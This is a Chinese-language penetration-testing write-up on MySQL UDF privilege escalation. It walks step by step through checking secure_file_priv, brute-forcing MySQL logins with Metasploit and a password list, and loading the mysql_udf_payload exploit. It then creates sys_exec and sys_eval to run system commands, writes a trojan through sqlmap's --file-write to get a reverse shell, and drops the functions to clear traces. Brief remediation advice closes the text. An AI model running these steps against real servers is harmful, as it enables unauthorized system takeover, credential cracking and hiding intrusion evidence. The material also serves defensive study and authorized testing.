UDF(Userdefined function)可以翻译为用户自定义函数,其为mysql的一个拓展接口,可以为Mysql增添一些函数,对MySQL的功能进行扩充,然后就可以在MySQL中进行使用这些函数了。攻击者通过编写调用cm
本文章仅记录某次内网渗透过程中遇到的MySQL 采用UDF提权等方式进行获取权限,文章中内容仅用于技术交流,切勿用于非授权下渗透攻击行为,慎重!!! 一、UDF简介UDF(Userdefined function)可以翻译为用户自定义函数,其为mysql的一个拓展接口,可以为Mysql增添一些函数,对MySQL的功能进行扩充,然后就可以在MySQL中进行使用这些函数了。 攻击者通过编写调用cmd或shell的udf.dll/udf.so文件,并且导入到指定的文件夹目录下,创建一个指向udf.dll/udf.so的自定义函数,从而在数据库中的查询就等价于在cmd或shell中执行命令。 二、UDF提权条件1、MySQL数据库的Root权限(可以通过账号密码远程登录到Mysql数据库) 2、MySQL具有写入文件的权限(即Secure_file_priv的值为空,不为空时必须有写入my.ini的权限) 连接MySQL数据库后,通过SQL语句show global variables like '%secure%';查看secure_file_priv的值。
如果secure_file_priv的值不是空,需要在MySQL/my.ini中设置secure_file_priv参数为secure_file_priv =
三、上传动态链接库文件动态链接库就是实现共享函数库概念的一种方式,在windows环境下后缀名为 .dll ,在Linux环境下后缀名为 .so ,我们要将该文件放在特定的目录中,该文件中包含了执行系统命令的一些函数。 MySQL版本大于5.1 ,udf.dll文件必须放置在mysql安装目录的libplugin文件夹下(plugin文件夹默认不存在,需要自行创建;MySQL安装目录可以通过select basedir() 或者select @@basedir 查看) MySQL版本小于5.1 ,udf.dll文件在win2003下放置于C:Windows或者C:Windowssystem32目录,在win2000下放置在C:Winntsystem32目录。
四、UDF提权步骤
1、查看secure_file_priv的值Secure_file_priv是用来限制load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限。 输入语句:show global variables like '%secure%'; ##值为空即可操作
2、查看plugin的值
实际测试发现UDF提权成功与否与该值无关。
3、查看系统构架以及plugin目录Show variables like '%compile%'; //查看主机版本及架构 show variables like '%plugin%'; //查看 plugin 目录
MSF漏洞验证使用MSF搜索关于MySQL辅助利用脚本 search mysql 使用弱口令扫描脚本,并查看需要配置选项 use auxiliary/scanner/mysql/mysql_login show options 可配置 pass_file(暴力破解字典,所在绝对路径)在不知道密码的情况下可使用 配置USERNAME(靶机MySQL服务用户名)或者配置USER_FILE(用户名字典) 方法二选一 set pass_file /top100.txt set rhosts 192.168.x.x set username root run 或者 exploit 进行攻击!!! 以上两种方法是在未知MySQL数据库账密情况下进行爆破方式,具体以实际情况为主。 获取MySQL的基础信息 使用模块:use auxiliary/admin/mysql/mysql_enum set rhosts 192.168.x.x set password root set username root run 获取MySQL基础信息及其他存在用户及其密码 可使用CMD5或者john工具进行破解 接下来进行UDF提权,加载攻击载荷 use exploit/multi/mysql/mysql_udf_payload set rhosts 192.168.*.* set password root 在MySQL中执行SQL语句,查看上传的DLL文件名 select * from mysql.func; 执行命令 select sys_exec("whoami"); 如果返回结果为 0 就代表成功,返回1代表失败。 通过之前MSF生成的DLL文件创建sys_eval()函数,使执行的命令存在回显。 create function sys_eval returns string soname "****.dll"; 再次执行命令 select sys_eval("whoami"); 可使用攻击载荷 use auxiliary/admin/mysql/mysql_sql 进行后续其他命令操作
五、UDF提权反弹Shell当UDF提权后,我们想反弹一个MSF或者CS的shell,首先呢使用CS的PowerShell反弹命令是不行的,这里由于powershell命令引号过多,不能执行。 那么现在的思路就是执行木马文件,反弹Shell,这里由于sys_eval函数不能执行Windows那些远程下载命令,所以我们选择通过sqlmap的写入文件功能,将木马写入当前目录。 首先,查看当前目录 然后sqlmap写入木马,这里也是可以进行远程下载的; 命令:sqlmap -u "http://192.168.x.x?id=1" --file-write msf.exe --file-est "C:phpStudyPHPTutorialMySQLdata*.exe" 执行木马反弹,这里需要注意的是,sys_eval函数只能执行当前目录下的文件,所以,也只能把文件写入当前路径下。
六、清理痕迹命令:drop function sys_eval; drop function sys_exec;
七、修复建议1、mysql配置文件中 secure_file_priv 项设置为NULL或非 mysql/lib/plugin目录。 2、控制目录访问权限,例如控制/lib/plugin,system32/wbem/mof等目录需要管理员权限访问或者设置为只读权限。 3、数据库用户确保正确实施最小权限原则。 |
2021-06-02
2021-06-05
2022-06-27
2022-10-12
2019-09-11